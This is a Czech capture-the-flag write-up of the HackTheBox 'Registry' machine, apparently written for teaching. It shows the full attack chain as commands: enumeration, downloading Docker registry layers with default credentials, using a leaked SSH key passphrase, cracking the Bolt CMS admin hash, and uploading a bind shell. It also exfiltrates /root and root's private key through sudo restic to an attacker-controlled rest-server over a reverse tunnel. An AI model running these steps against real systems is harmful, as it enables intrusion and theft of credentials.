Registry
Úvod a kontext
Registry dobře ukazuje, že citlivá data nemusí unikat jen z hlavní aplikace. Rozhodující stopa tady neležela na veřejném nginxu, ale ve vedlejší Docker registry na docker.registry.htb, ze které šlo stáhnout image vrstvu obsahující provozní artefakty.
Zbytek řetězce pak stojí na tom, že uniklá data otevřela stabilní SSH přístup k účtu bolt, z interních souborů aplikace šlo získat přístup do Bolt CMS a teprve webový kontext www-data měl chybně delegované sudo pro restic.
Tahle kombinace se dobře doplňuje hlavně s články Špatně vystavené datové, storage a cloud-like služby, Container boundary mistakes: bind mounty, docker exec, runc, privileged a sudo nad package, backup a container nástroji.
Počáteční průzkum
Vyhledání otevřených portů
První enumerace ukázala vedle SSH a nginxu i TLS certifikát pro jiný hostname. To je důležité, protože právě certifikát často odhalí interní nebo vedlejší službu, která na hlavní IP není na první pohled vidět.
nmap -p 1-65535 -T4 -A -sC -v $IP
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http nginx 1.14.0 (Ubuntu)
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
| ssl-cert: Subject: commonName=docker.registry.htb
4444/tcp filtered krb524
Enumerace webové vrstvy
Veřejný web toho sám o sobě moc neprozradil. Zajímavější byla až Docker registry na hostname z certifikátu.
dirb http://$IP
dirb http://docker.registry.htb
http://10.10.10.159/install/
http://docker.registry.htb/v2/
http://docker.registry.htb/v2/_catalog
http://docker.registry.htb/v2/bolt-image/tags/list
http://docker.registry.htb/v2/bolt-image/manifests/latest
Analýza zjištění
Docker registry a image vrstvy
Jakmile registry vrací katalog a manifesty, dává smysl stáhnout jednotlivé vrstvy image a rozbalit je lokálně. V praxi je to stejná situace jako u špatně publikovaného zálohovaného webrootu: kód, konfigurace a historické artefakty se náhle stanou čitelnými mimo cílový host.
wget --http-user=admin --http-password=admin \
http://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
Po rozbalení jedné z vrstev byl v historii shellu vidět tento provozní artefakt:
ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
To je přesně typ informace, která mění anonymní image v reálný foothold. Nejde jen o passphrase, ale i o potvrzení, že v image existoval použitelný privátní klíč.
Právě to je dobré číst jako storage i container problém zároveň: image vrstva není „jen archiv“, ale součást produkčního trust modelu.
Získání přístupu
Stabilní shell jako bolt
Uniklý klíč spolu s passphrase šel použít přímo proti SSH službě.
ssh -i Registry-id_rsa bolt@$IP
Enter passphrase for key 'Registry-id_rsa': GkOcz221Ftb3ugog
Tím vznikl stabilní shell nad běžným uživatelem a bylo možné potvrdit user.txt i pokračovat v lokální enumeraci bez závislosti na jednorázovém webovém exploitu.
Přechod do kontextu webu
Lokální průzkum ukázal databázi Bolt CMS, ze které šlo vytáhnout hash administrátora. Jeho prolomení otevřelo admin panel a tím i možnost nahrát vlastní soubor přes vestavěný správce obsahu.
scp -i Registry-id_rsa bolt@$IP:/var/www/html/bolt/app/database/bolt.db .
echo '$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK' > Registry-admin-hash.txt
/usr/sbin/john Registry-admin-hash.txt
strawberry
Po přihlášení do Bolt CMS stačilo v config.yml rozšířit povolené přípony, nahrát jednoduchý Python bind shell a spustit ho přes web. Smysl tohohle mezikroku je čistě praktický: bolt sice měl SSH přístup, ale až webový uživatel www-data měl zajímavé sudo oprávnění.

Eskalace oprávnění
Zneužití restic přes sudo
V kontextu www-data vycházelo:
sudo -l
(root) NOPASSWD: /usr/bin/restic backup -r rest*
Vedle toho byl na hostu i pomocný skript:
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");
Z toho plyne důležitá věc: restic neběžel jen jako diagnostický nástroj, ale jako skutečný zálohovací workflow s důvěrou k REST backendu. Pokud si útočník připraví vlastní rest-server a přesměruje na něj provoz, může si nechat zálohovat libovolnou cestu, kterou sudo dovolí.
Je to učebnicový případ článku sudo nad package, backup a container nástroji: root se tu nedostává přes shell v sudoers, ale přes privilegovaný backup nástroj, který ochotně vyexportuje cizí data na útočníkem zvolený backend.
Praktický postup byl:
./rest-server --path /home/hack/Desktop/HTB/Registry-root --no-auth
ssh -R 6969:127.0.0.1:8000 -i ../Registry-id_rsa bolt@registry.htb
restic init -r rest:http://127.0.0.1:6969
sudo restic backup -r rest:http://127.0.0.1:6969 /root
restic restore beafa3f3 -r rest:http://127.0.0.1:6969 --target .
cat root/.ssh/id_rsa
ssh -i Registry-id_rsa_root root@registry.htb
Tím se do lokálního restic repozitáře dostal obsah /root, včetně rootova privátního klíče. Získání root.txt už pak bylo jen potvrzením, že šlo o plný kompromis hostu.
Shrnutí klíčových poznatků
- První skutečně důležitá stopa neležela na hlavním webu, ale v Docker registry odhalené TLS certifikátem pro
docker.registry.htb. - User část nevznikla exploitem CMS, ale únikem provozních artefaktů z image vrstvy: privátního klíče a jeho passphrase.
- Root cesta vyžadovala přechod do jiného bezpečnostního kontextu. SSH uživatel
boltnestačil, ale webový uživatelwww-dataměl přessudo resticmožnost nepřímo číst obsah/root.
Co si odnést do praxe
- Container registry, image vrstvy a build artefakty musí být chráněné stejně přísně jako produkční tajemství. Historie shellu, klíče nebo pomocné skripty v image často vydají víc než samotná aplikace.
- Únik z jedné vrstvy prostředí neznamená automaticky plný kompromis, ale velmi často otevře stabilní přístup k jinému účtu. Oddělení rolí mezi SSH uživateli, aplikačním účtem a webovým serverem dává smysl jen tehdy, když každá vrstva opravdu drží minimum oprávnění.
sudopravidla nad zálohovacími nástroji jsou obzvlášť citlivá. Jakmile privilegovaný proces umí číst libovolnou cestu a posílat data na útočníkem zvolený backend, jde prakticky o delegovaný root read access.